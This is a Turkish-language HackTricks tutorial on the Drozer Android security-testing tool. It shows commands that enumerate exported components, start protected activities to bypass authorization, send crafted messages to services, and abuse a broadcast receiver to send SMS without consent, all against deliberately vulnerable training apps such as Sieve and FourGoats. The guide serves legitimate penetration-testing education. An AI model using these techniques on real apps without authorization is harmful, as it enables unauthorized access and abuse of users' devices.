mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
256 lines
12 KiB
Markdown
256 lines
12 KiB
Markdown
# Drozer Tutorial
|
||
|
||
{{#include ../../../banners/hacktricks-training.md}}
|
||
|
||
|
||
|
||
## Test edilecek APK'lar
|
||
|
||
- [Sieve](https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk) (mrwlabs'dan)
|
||
- [DIVA](https://payatu.com/wp-content/uploads/2016/01/diva-beta.tar.gz)
|
||
|
||
**Bu eğitimin bazı bölümleri** [**Drozer belgeleri pdf'inden**](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf)** alınmıştır.**
|
||
|
||
## Kurulum
|
||
|
||
Drozer Client'ı ana bilgisayarınıza kurun. En son sürümü [buradan indirin](https://github.com/mwrlabs/drozer/releases).
|
||
```bash
|
||
pip install drozer-2.4.4-py2-none-any.whl
|
||
pip install twisted
|
||
pip install service_identity
|
||
```
|
||
drozer APK'sını [en son sürümlerden](https://github.com/mwrlabs/drozer/releases) indirin ve kurun. Şu anda bu [sürüm](https://github.com/mwrlabs/drozer/releases/download/2.3.4/drozer-agent-2.3.4.apk).
|
||
```bash
|
||
adb install drozer.apk
|
||
```
|
||
### Sunucuyu Başlatma
|
||
|
||
Agent 31415 portunda çalışıyor, Drozer Client ve Agent arasında iletişimi sağlamak için [port yönlendirmesi](https://en.wikipedia.org/wiki/Port_forwarding) yapmamız gerekiyor, işte bunu yapmak için komut:
|
||
```bash
|
||
adb forward tcp:31415 tcp:31415
|
||
```
|
||
Son olarak, **uygulamayı** başlatın ve alt kısımdaki "**AÇ**" butonuna basın.
|
||
|
||
.png>)
|
||
|
||
Ve ona bağlanın:
|
||
```bash
|
||
drozer console connect
|
||
```
|
||
## İlginç Komutlar
|
||
|
||
| **Komutlar** | **Açıklama** |
|
||
| --------------- | --------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||
| **Help MODULE** | Seçilen modülün yardımını gösterir |
|
||
| **list** | Mevcut oturumda çalıştırılabilen tüm drozer modüllerinin bir listesini gösterir. Bu, çalıştırmak için uygun izinlere sahip olmadığınız modülleri gizler. |
|
||
| **shell** | Cihazda, Agent bağlamında etkileşimli bir Linux kabuğu başlatır. |
|
||
| **clean** | Drozer tarafından Android cihazda saklanan geçici dosyaları kaldırır. |
|
||
| **load** | Drozer komutlarını içeren bir dosyayı yükler ve bunları sırayla yürütür. |
|
||
| **module** | İnternetten ek drozer modüllerini bulur ve yükler. |
|
||
| **unset** | Drozer'in oluşturduğu herhangi bir Linux kabuğuna geçirdiği adlandırılmış bir değişkeni kaldırır. |
|
||
| **set** | Drozer tarafından oluşturulan herhangi bir Linux kabuğuna çevresel değişken olarak geçirilecek bir değişkende bir değeri saklar. |
|
||
| **shell** | Cihazda, Agent bağlamında etkileşimli bir Linux kabuğu başlatır. |
|
||
| **run MODULE** | Bir drozer modülünü yürütür |
|
||
| **exploit** | Drozer, cihazda yürütmek için istismarlar oluşturabilir. `drozer exploit list` |
|
||
| **payload** | İstismarların bir yükü gereklidir. `drozer payload list` |
|
||
|
||
### Paket
|
||
|
||
**İsim** kısmını filtreleyerek paketin **adını** bulun:
|
||
```bash
|
||
dz> run app.package.list -f sieve
|
||
com.mwr.example.sieve
|
||
```
|
||
**Paketin Temel Bilgileri:**
|
||
```bash
|
||
dz> run app.package.info -a com.mwr.example.sieve
|
||
Package: com.mwr.example.sieve
|
||
Process Name: com.mwr.example.sieve
|
||
Version: 1.0
|
||
Data Directory: /data/data/com.mwr.example.sieve
|
||
APK Path: /data/app/com.mwr.example.sieve-2.apk
|
||
UID: 10056
|
||
GID: [1028, 1015, 3003]
|
||
Shared Libraries: null
|
||
Shared User ID: null
|
||
Uses Permissions:
|
||
- android.permission.READ_EXTERNAL_STORAGE
|
||
- android.permission.WRITE_EXTERNAL_STORAGE
|
||
- android.permission.INTERNET
|
||
Defines Permissions:
|
||
- com.mwr.example.sieve.READ_KEYS
|
||
- com.mwr.example.sieve.WRITE_KEYS
|
||
```
|
||
**Manifest**'i okuyun:
|
||
```bash
|
||
run app.package.manifest jakhar.aseem.diva
|
||
```
|
||
Paketin **saldırı yüzeyi**:
|
||
```bash
|
||
dz> run app.package.attacksurface com.mwr.example.sieve
|
||
Attack Surface:
|
||
3 activities exported
|
||
0 broadcast receivers exported
|
||
2 content providers exported
|
||
2 services exported
|
||
is debuggable
|
||
```
|
||
- **Etkinlikler**: Belki bir etkinlik başlatabilir ve sizi başlatmaktan alıkoyması gereken bir tür yetkilendirmeyi atlayabilirsiniz.
|
||
- **İçerik sağlayıcıları**: Belki özel verilere erişebilir veya bazı güvenlik açıklarını (SQL Injection veya Path Traversal) istismar edebilirsiniz.
|
||
- **Hizmetler**:
|
||
- **debuggable**: [Daha fazla bilgi edinin](#is-debuggeable)
|
||
|
||
### Etkinlikler
|
||
|
||
Bir dışa aktarılmış etkinlik bileşeninin “android:exported” değeri AndroidManifest.xml dosyasında **“true”** olarak ayarlanmıştır:
|
||
```html
|
||
<activity android:name="com.my.app.Initial" android:exported="true">
|
||
</activity>
|
||
```
|
||
**Dışa aktarılan aktiviteleri listele**:
|
||
```bash
|
||
dz> run app.activity.info -a com.mwr.example.sieve
|
||
Package: com.mwr.example.sieve
|
||
com.mwr.example.sieve.FileSelectActivity
|
||
com.mwr.example.sieve.MainLoginActivity
|
||
com.mwr.example.sieve.PWList
|
||
```
|
||
**Etkinliği başlat**:
|
||
|
||
Belki bir etkinliği başlatabilir ve sizi başlatmaktan alıkoyması gereken bir tür yetkilendirmeyi atlayabilirsiniz.
|
||
```bash
|
||
dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
|
||
```
|
||
**adb** ile dışa aktarılmış bir etkinliği de başlatabilirsiniz:
|
||
|
||
- Paket Adı com.example.demo
|
||
- Dışa Aktarılan Etkinlik Adı com.example.test.MainActivity
|
||
```bash
|
||
adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||
```
|
||
### İçerik Sağlayıcıları
|
||
|
||
Bu gönderi burada yer alacak kadar büyük değil, bu yüzden **ulaşabilirsiniz** [**kendi sayfasında buradan**](exploiting-content-providers.md).
|
||
|
||
### Hizmetler
|
||
|
||
Dışa aktarılan bir hizmet, Manifest.xml içinde tanımlanır:
|
||
```html
|
||
<service android:name=".AuthService" android:exported="true" android:process=":remote"/>
|
||
```
|
||
Kodun içinde **check** için **`handleMessage`** fonksiyonunu **alacak** olan **message**'ı kontrol edin:
|
||
|
||
.png>)
|
||
|
||
#### Liste hizmeti
|
||
```bash
|
||
dz> run app.service.info -a com.mwr.example.sieve
|
||
Package: com.mwr.example.sieve
|
||
com.mwr.example.sieve.AuthService
|
||
Permission: null
|
||
com.mwr.example.sieve.CryptoService
|
||
Permission: null
|
||
```
|
||
#### **Bir hizmetle** etkileşimde bulunun
|
||
```bash
|
||
app.service.send Send a Message to a service, and display the reply
|
||
app.service.start Start Service
|
||
app.service.stop Stop Service
|
||
```
|
||
#### Örnek
|
||
|
||
`app.service.send` için **drozer** yardımına bir göz atın:
|
||
|
||
.png>)
|
||
|
||
Öncelikle "_msg.what_" içindeki veriyi, ardından "_msg.arg1_" ve "_msg.arg2_"'yi göndereceğinizi unutmayın, **hangi bilginin kullanıldığını** ve nerede olduğunu kod içinde kontrol etmelisiniz.\
|
||
`--extra` seçeneğini kullanarak "_msg.replyTo_" tarafından yorumlanan bir şey gönderebilirsiniz ve `--bundle-as-obj` kullanarak sağlanan detaylarla bir nesne oluşturursunuz.
|
||
|
||
Aşağıdaki örnekte:
|
||
|
||
- `what == 2354`
|
||
- `arg1 == 9234`
|
||
- `arg2 == 1`
|
||
- `replyTo == object(string com.mwr.example.sieve.PIN 1337)`
|
||
```bash
|
||
run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg 2354 9234 1 --extra string com.mwr.example.sieve.PIN 1337 --bundle-as-obj
|
||
```
|
||
.png>)
|
||
|
||
### Broadcast Alıcıları
|
||
|
||
**Android temel bilgi bölümünde Broadcast Alıcısının ne olduğunu görebilirsiniz**.
|
||
|
||
Bu Broadcast Alıcılarını keşfettikten sonra, **kodlarını kontrol etmelisiniz**. Alınan mesajları işleyen **`onReceive`** fonksiyonuna özel dikkat gösterin.
|
||
|
||
#### **Tüm** broadcast alıcılarını tespit et
|
||
```bash
|
||
run app.broadcast.info #Detects all
|
||
```
|
||
#### Bir uygulamanın yayın alıcılarını kontrol et
|
||
```bash
|
||
#Check one negative
|
||
run app.broadcast.info -a jakhar.aseem.diva
|
||
Package: jakhar.aseem.diva
|
||
No matching receivers.
|
||
|
||
# Check one positive
|
||
run app.broadcast.info -a com.google.android.youtube
|
||
Package: com.google.android.youtube
|
||
com.google.android.libraries.youtube.player.PlayerUiModule$LegacyMediaButtonIntentReceiver
|
||
Permission: null
|
||
com.google.android.apps.youtube.app.common.notification.GcmBroadcastReceiver
|
||
Permission: com.google.android.c2dm.permission.SEND
|
||
com.google.android.apps.youtube.app.PackageReplacedReceiver
|
||
Permission: null
|
||
com.google.android.libraries.youtube.account.AccountsChangedReceiver
|
||
Permission: null
|
||
com.google.android.apps.youtube.app.application.system.LocaleUpdatedReceiver
|
||
Permission: null
|
||
```
|
||
#### Yayın **Etkileşimleri**
|
||
```bash
|
||
app.broadcast.info Get information about broadcast receivers
|
||
app.broadcast.send Send broadcast using an intent
|
||
app.broadcast.sniff Register a broadcast receiver that can sniff particular intents
|
||
```
|
||
#### Mesaj Gönder
|
||
|
||
Bu örnekte [FourGoats apk](https://github.com/linkedin/qark/blob/master/tests/goatdroid.apk) İçerik Sağlayıcısını kötüye kullanarak, kullanıcıdan izin istemeden **herhangi bir premium olmayan hedefe rastgele bir SMS** gönderebilirsiniz.
|
||
|
||
.png>)
|
||
|
||
.png>)
|
||
|
||
Kodu okursanız, "_phoneNumber_" ve "_message_" parametrelerinin İçerik Sağlayıcısına gönderilmesi gerektiğini göreceksiniz.
|
||
```bash
|
||
run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --component org.owasp.goatdroid.fourgoats.broadcastreceivers SendSMSNowReceiver --extra string phoneNumber 123456789 --extra string message "Hello mate!"
|
||
```
|
||
### Debuggable mı
|
||
|
||
Bir üretim APK'sı asla debuggable olmamalıdır.\
|
||
Bu, çalışmakta olan uygulamaya **java debugger** ekleyebileceğiniz, çalışma zamanında inceleyebileceğiniz, kesme noktaları ayarlayabileceğiniz, adım adım ilerleyebileceğiniz, değişken değerlerini toplayabileceğiniz ve hatta bunları değiştirebileceğiniz anlamına gelir. [InfoSec institute'un harika bir makalesi](../exploiting-a-debuggeable-applciation.md) var, uygulamanız debuggable olduğunda daha derinlemesine incelemek ve çalışma zamanı kodu enjekte etmek için.
|
||
|
||
Bir uygulama debuggable olduğunda, Manifest'te görünecektir:
|
||
```xml
|
||
<application theme="@2131296387" debuggable="true"
|
||
```
|
||
Tüm hata ayıklanabilir uygulamaları **Drozer** ile bulabilirsiniz:
|
||
```bash
|
||
run app.package.debuggable
|
||
```
|
||
## Eğitimler
|
||
|
||
- [https://resources.infosecinstitute.com/android-penetration-tools-walkthrough-series-drozer/#gref](https://resources.infosecinstitute.com/android-penetration-tools-walkthrough-series-drozer/#gref)
|
||
- [https://github.com/mgcfish/mobiletools/blob/master/\_posts/2016-08-01-Using-Drozer-for-application-security-assessments.md](https://github.com/mgcfish/mobiletools/blob/master/_posts/2016-08-01-Using-Drozer-for-application-security-assessments.md)
|
||
- [https://www.hackingarticles.in/android-penetration-testing-drozer/](https://www.hackingarticles.in/android-penetration-testing-drozer/)
|
||
- [https://medium.com/@ashrafrizvi3006/how-to-test-android-application-security-using-drozer-edc002c5dcac](https://medium.com/@ashrafrizvi3006/how-to-test-android-application-security-using-drozer-edc002c5dcac)
|
||
|
||
## Daha fazla bilgi
|
||
|
||
- [https://blog.dixitaditya.com/android-pentesting-cheatsheet/](https://blog.dixitaditya.com/android-pentesting-cheatsheet/)
|
||
|
||
|
||
|
||
{{#include ../../../banners/hacktricks-training.md}}
|